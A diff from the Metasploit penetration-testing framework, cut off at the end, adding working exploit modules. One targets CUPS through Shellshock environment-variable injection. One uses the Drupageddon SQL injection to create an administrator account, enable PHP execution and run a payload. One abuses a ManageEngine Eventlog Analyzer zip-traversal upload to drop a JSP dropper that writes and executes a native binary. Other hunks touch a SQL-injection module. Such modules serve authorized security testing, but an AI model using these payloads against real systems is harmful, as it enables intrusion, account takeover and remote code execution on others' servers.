0000000000..b87e22177b --- /dev/null +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -0,0 +1,273 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits Shellshock, a post-authentication code injection vulnerability + in specially crafted environment variables in Bash. It specifically targets + CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default. + }, + 'Author' => [ + 'Stephane Chazelas', # Vulnerability discovery + 'lcamtuf', # CVE-2014-6278 + 'Brendan Coles ' # msf + ], + 'References' => [ + ['CVE', '2014-6271'], + ['CVE', '2014-6278'], + ['EDB', '34765'], + ['URL', 'https://access.redhat.com/articles/1200223'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + ], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x0A\x0D", + 'DisableNops' => true + }, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic bash awk ruby' + }, + # Tested: + # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) + # - CUPS version 1.5.3 on Debian 7 (x64) + # - CUPS version 1.6.2 on Fedora 19 (x64) + # - CUPS version 1.7.2 on Ubuntu 14.04 (x64) + 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014', + 'License' => MSF_LICENSE + )) + register_options([ + Opt::RPORT(631), + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('USERNAME', [ true, 'CUPS username', 'root']), + OptString.new('PASSWORD', [ true, 'CUPS user password', '']), + OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), + OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) + ], self.class) + end + + # + # CVE-2014-6271 + # + def cve_2014_6271(cmd) + %{() { :;}; $(#{cmd}) & } + end + + # + # CVE-2014-6278 + # + def cve_2014_6278(cmd) + %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }} + end + + # + # Check credentials + # + def check + @cookie = rand_text_alphanumeric(16) + printer_name = rand_text_alphanumeric(10 + rand(5)) + res = add_printer(printer_name, '') + if !res + vprint_error("#{peer} - No response from host") + return Exploit::CheckCode::Unknown + elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/ + vprint_status("#{peer} - Found CUPS version #{$1}") + else + print_status("#{peer} - Target is not a CUPS web server") + return Exploit::CheckCode::Safe + end + if res.body =~ /Set Default Options for #{printer_name}/ + vprint_good("#{peer} - Added printer successfully") + delete_printer(printer_name) + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + vprint_error("#{peer} - Authentication failed") + elsif res.code == 426 + vprint_error("#{peer} - SSL required - set SSL true") + end + Exploit::CheckCode::Detected + end + + # + # Exploit + # + def exploit + @cookie = rand_text_alphanumeric(16) + printer_name = rand_text_alphanumeric(10 + rand(5)) + + # Select target CVE + case datastore['CVE'] + when 'CVE-2014-6278' + cmd = cve_2014_6278(payload.raw) + else + cmd = cve_2014_6271(payload.raw) + end + + # Add a printer containing the payload + # with a CUPS filter pointing to /bin/bash + res = add_printer(printer_name, cmd) + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") + elsif res.body =~ /Set Default Options for #{printer_name}/ + print_good("#{peer} - Added printer successfully") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") + elsif res.code == 426 + fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") + else + fail_with(Failure::Unknown, "#{peer} - Could not add printer.") + end + + # Add a test page to the print queue. + # The print job triggers execution of the bash filter + # which executes the payload in the environment variables. + res = print_test_page(printer_name) + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") + elsif res.body =~ /Test page sent; job ID is/ + vprint_good("#{peer} - Added test page to printer queue") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") + elsif res.code == 426 + fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") + else + fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.") + end + + # Delete the printer + res = delete_printer(printer_name) + if !res + fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") + elsif res.body =~ /has been deleted successfully/ + print_status("#{peer} - Deleted printer '#{printer_name}' successfully") + elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) + vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.") + elsif res.code == 426 + vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.") + else + vprint_warning("#{peer} - Could not delete printer '#{printer_name}'") + end + end + + # + # Add a printer to CUPS + # + def add_printer(printer_name, cmd) + vprint_status("#{peer} - Adding new printer '#{printer_name}'") + + ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd" + ppd_file = <<-EOF +*PPD-Adobe: "4.3" +*%==== General Information Keywords ======================== +*FormatVersion: "4.3" +*FileVersion: "1.00" +*LanguageVersion: English +*LanguageEncoding: ISOLatin1 +*PCFileName: "#{ppd_name}" +*Manufacturer: "Brother" +*Product: "(Brother MFC-3820CN)" +*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" +*cupsVersion: 1.1 +*cupsManualCopies: False +*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash" +*cupsModelNumber: #{rand(10) + 1} +*ModelName: "Brother MFC-3820CN" +*ShortNickName: "Brother MFC-3820CN" +*NickName: "Brother MFC-3820CN CUPS v1.1" +*% +*%==== Basic Device Capabilities ============= +*LanguageLevel: "3" +*ColorDevice: True +*DefaultColorSpace: RGB +*FileSystem: False +*Throughput: "12" +*LandscapeOrientation: Plus90 +*VariablePaperSize: False +*TTRasterizer: Type42 +*FreeVM: "1700000" + +*DefaultOutputOrder: Reverse +*%==== Media Selection ====================== + +*OpenUI *PageSize/Media Size: PickOne +*OrderDependency: 18 AnySetup *PageSize +*DefaultPageSize: BrLetter +*PageSize BrA4/A4: "<>setpagedevice" +*PageSize BrLetter/Letter: "<>setpagedevice" +EOF + + pd = Rex::MIME::Message.new + pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}")) + pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid")) + pd.add_part("add-printer", nil, nil, %(form-data; name="OP")) + pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME")) + pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable + pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable + pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI")) + + data = pd.to_s + data.strip! + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin'), + 'ctype' => "multipart/form-data; boundary=#{pd.bound}", + 'data' => data, + 'cookie' => "org.cups.sid=#{@cookie};", + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + ) + end + + # + # Queue a printer test page + # + def print_test_page(printer_name) + vprint_status("#{peer} - Adding test page to printer queue") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => "org.cups.sid=#{@cookie}", + 'vars_post' => { + 'org.cups.sid' => @cookie, + 'OP' => 'print-test-page' + } + ) + end + + # + # Delete a printer + # + def delete_printer(printer_name) + vprint_status("#{peer} - Deleting printer '#{printer_name}'") + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => "org.cups.sid=#{@cookie}", + 'vars_post' => { + 'org.cups.sid' => @cookie, + 'OP' => 'delete-printer', + 'printer_name' => printer_name, + 'confirm' => 'Delete Printer' + } + ) + end + +end diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index dd1474d71b..c11754860d 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb index 9e4e795987..71c1b0a0c1 100644 --- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb +++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,8 +79,8 @@ class Metasploit3 < Msf::Exploit::Remote 'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --") } }) - if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') - return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3] + if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=') + return Rex::Text.decode_base64(URI.unescape(res.get_cookies['response='.length..-1]))[1..-3] end return false end @@ -96,8 +96,8 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and - Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false + if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=') and + Rex::Text.decode_base64(URI.unescape(res.get_cookies['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -167,4 +167,4 @@ class Metasploit3 < Msf::Exploit::Remote return end end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb new file mode 100644 index 0000000000..3dfef93d5a --- /dev/null +++ b/modules/exploits/multi/http/drupal_drupageddon.rb @@ -0,0 +1,357 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection', + 'Description' => %q{ + This module exploits the Drupal HTTP Parameter Key/Value SQL Injection + (aka Drupageddon) in order to achieve a remote shell on the vulnerable + instance. This module was tested against Drupal 7.0 and 7.31 (was fixed + in 7.32). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'SektionEins', # discovery + 'Christian Mehlmauer', # msf module + 'Brandon Perry' # msf module + ], + 'References' => + [ + ['CVE', '2014-3704'], + ['URL', 'https://www.drupal.org/SA-CORE-2014-005'], + ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Drupal 7.0 - 7.31',{}]], + 'DisclosureDate' => 'Oct 15 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']) + ], self.class) + + register_advanced_options( + [ + OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']), + OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10]) + ], self.class) + end + + def uri_path + normalize_uri(target_uri.path) + end + + def admin_role + datastore['ADMIN_ROLE'] + end + + def iter + datastore['ITER'] + end + + def itoa64 + './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + end + + # PHPs PHPASS base64 method + def phpass_encode64(input, count) + out = '' + cur = 0 + while cur < count + value = input[cur].ord + cur += 1 + out << itoa64[value & 0x3f] + if cur < count + value |= input[cur].ord << 8 + end + out << itoa64[(value >> 6) & 0x3f] + break if cur >= count + cur += 1 + + if cur < count + value |= input[cur].ord << 16 + end + out << itoa64[(value >> 12) & 0x3f] + break if cur >= count + cur += 1 + out << itoa64[(value >> 18) & 0x3f] + end + out + end + + def generate_password_hash(pass) + # Syntax for MD5: + # $P$ = MD5 + # one char representing the hash iterations (min 7) + # 8 chars salt + # MD5_raw(salt.pass) + iterations + # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5 + iter_char = itoa64[iter] + salt = Rex::Text.rand_text_alpha(8) + md5 = Rex::Text.md5_raw("#{salt}#{pass}") + # convert iter from log2 to integer + iter_count = 2**iter + 1.upto(iter_count) { + md5 = Rex::Text.md5_raw("#{md5}#{pass}") + } + md5_base64 = phpass_encode64(md5, md5.length) + md5_stripped = md5_base64[0...22] + pass = "$P\\$" + iter_char + salt + md5_stripped + vprint_debug("#{peer} - password hash: #{pass}") + + return pass + end + + def sql_insert_user(user, pass) + "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" + end + + def sql_make_user_admin(user) + "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))" + end + + def extract_form_ids(content) + form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/ + form_token = $1 if content =~ /name="form_token" value="(.+?)"/ + + vprint_debug("#{peer} - form_build_id: #{form_build_id}") + vprint_debug("#{peer} - form_token: #{form_token}") + + return form_build_id, form_token + end + + def exploit + + # TODO: Check if option admin_role exists via admin/people/permissions/roles + + # call login page to extract tokens + print_status("#{peer} - Testing page") + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'user/login' + } + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + form_build_id, form_token = extract_form_ids(res.body) + + user = Rex::Text.rand_text_alpha(10) + pass = Rex::Text.rand_text_alpha(10) + + post = { + "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10), + 'name[0]' => Rex::Text.rand_text_alpha(10), + 'pass' => Rex::Text.rand_text_alpha(10), + 'form_build_id' => form_build_id, + 'form_id' => 'user_login', + 'op' => 'Log in' + } + + print_status("#{peer} - Creating new user #{user}:#{pass}") + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'q' => 'user/login' + } + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + # login + print_status("#{peer} - Logging in as #{user}:#{pass}") + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => { + 'name' => user, + 'pass' => pass, + 'form_build_id' => form_build_id, + 'form_id' => 'user_login', + 'op' => 'Log in' + }, + 'vars_get' => { + 'q' => 'user/login' + } + }) + + unless res and res.code == 302 + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + cookie = res.get_cookies + vprint_debug("#{peer} - cookie: #{cookie}") + + # call admin interface to extract CSRF token and enabled modules + print_status("#{peer} - Trying to parse enabled modules") + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'admin/modules' + }, + 'cookie' => cookie + }) + + form_build_id, form_token = extract_form_ids(res.body) + + enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/ + enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match } + + unless enabled_matches + fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.") + end + + post = { + 'modules[Core][php][enable]' => '1', + 'form_build_id' => form_build_id, + 'form_token' => form_token, + 'form_id' => 'system_modules', + 'op' => 'Save configuration' + } + + enabled_matches.each do |match| + post[match.captures[0]] = '1' + end + + # enable PHP filter + print_status("#{peer} - Enabling the PHP filter module") + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'q' => 'admin/modules/list/confirm' + }, + 'cookie' => cookie + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + # Response: http 302, Location: http://10.211.55.50/?q=admin/modules + + print_status("#{peer} - Setting permissions for PHP filter module") + + # allow admin to use php_code + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'admin/people/permissions' + }, + 'cookie' => cookie + }) + + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + form_build_id, form_token = extract_form_ids(res.body) + + perm_regex = /name="(.*)" value="(.*)" checked="checked"/ + enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match } + + unless enabled_perms + fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.") + end + + # get administrator role id + id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/ + vprint_debug("#{peer} - admin role id: #{id}") + + unless id + fail_with(Failure::Unknown, "Could not parse out administrator ID") + end + + post = { + "#{id}[use text format php_code]" => 'use text format php_code', + 'form_build_id' => form_build_id, + 'form_token' => form_token, + 'form_id' => 'user_admin_permissions', + 'op' => 'Save permissions' + } + + enabled_perms.each do |match| + post[match.captures[0]] = match.captures[1] + end + + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'q' => 'admin/people/permissions' + }, + 'cookie' => cookie + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + # Add new Content page (extract csrf token) + print_status("#{peer} - Getting tokens from create new article page") + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'node/add/article' + }, + 'cookie' => cookie + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + form_build_id, form_token = extract_form_ids(res.body) + + # Preview to trigger the payload + data = Rex::MIME::Message.new + data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"') + data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"') + data.add_part(form_token, nil, nil, 'form-data; name="form_token"') + data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"') + data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"') + data.add_part("", nil, nil, 'form-data; name="body[und][0][value]"') + data.add_part('Preview', nil, nil, 'form-data; name="op"') + data.add_part(user, nil, nil, 'form-data; name="name"') + data.add_part('1', nil, nil, 'form-data; name="status"') + data.add_part('1', nil, nil, 'form-data; name="promote"') + post_data = data.to_s + + print_status("#{peer} - Calling preview page. Exploit should trigger...") + send_request_cgi( + 'method' => 'POST', + 'uri' => uri_path, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'vars_get' => { + 'q' => 'node/add/article' + }, + 'cookie' => cookie + ) + end +end diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index c8646fe686..b25107fc24 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb new file mode 100644 index 0000000000..0f1d3770c3 --- /dev/null +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -0,0 +1,343 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. + The vulnerability exists in the agentUpload servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. By combining both + weaknesses a remote attacker can achieve remote code execution. This module has been + tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions + between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, + while versions 8.1+ are only exploitable via a JSP upload. + }, + 'Author' => + [ + 'h0ng10', # Vulnerability discovery + 'Pedro Ribeiro ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-6037' ], + [ 'OSVDB', '110642' ], + [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => %w{ java linux win }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'WfsDelay' => 30 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 31 2014')) + + register_options( + [ + Opt::RPORT(8400), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri("event/index3.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ + return $1 + end + end + + return "0" + end + + + def check + version = get_version + if version >= "7" and version <= "9" + # version 7 to < 8.1 detection + res = send_request_cgi({ + 'uri' => normalize_uri("event/agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 + return Exploit::CheckCode::Appears + end + + # version 8.1+ detection + res = send_request_cgi({ + 'uri' => normalize_uri("agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 and version == 8 + return Exploit::CheckCode::Appears + else + # We can't be sure that it is vulnerable in version 9 + return Exploit::CheckCode::Detected + end + + else + return Exploit::CheckCode::Safe + end + end + + + def create_zip_and_upload(payload, target_path, is_payload = true) + # Zipping with CM_STORE to avoid errors decompressing the zip + # in the Java vulnerable application + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file(target_path, payload) + + post_data = Rex::MIME::Message.new + post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") + + data = post_data.to_s + + if is_payload + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi({ + 'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res and res.code == 200 and res.body.empty? + if is_payload + print_status("#{peer} - Payload uploaded successfully") + end + register_files_for_cleanup(target_path.gsub("../../", "../")) + return true + else + return false + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + version = get_version + + if version == "7" + return targets[1] + end + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) + if version == "8" + # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method + return targets[1] + end + return nil + end + + res = send_request_cgi({ + 'uri' => normalize_uri(jsp_name), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body.to_s =~ /Windows/ + return targets[2] + else + # assuming Linux + return targets[3] + end + end + + return nil + end + + + def generate_jsp_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit_native + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + + jsp_payload = generate_jsp_payload + if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + return jsp_name + end + + + def exploit_java + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") + end + + target_dir = "../../server/default/deploy/" + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file that will contain it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = %Q{#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + ".war"}/#{ear_app_base}} + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + ".war", war_payload.to_s) + ear_file.add_file("META-INF/application.xml", app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" + + if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") + sleep(datastore['SLEEP']) + return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) + end + + + def exploit + if datastore['SLEEP'] < 0 + print_error("The SLEEP datastore option shouldn't be negative") + return + end + + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + if @my_target == targets[1] + exploit_path = exploit_java + else + exploit_path = exploit_native + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(exploit_path), + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index d91b8c64d7..1289010cbd 100644 --- 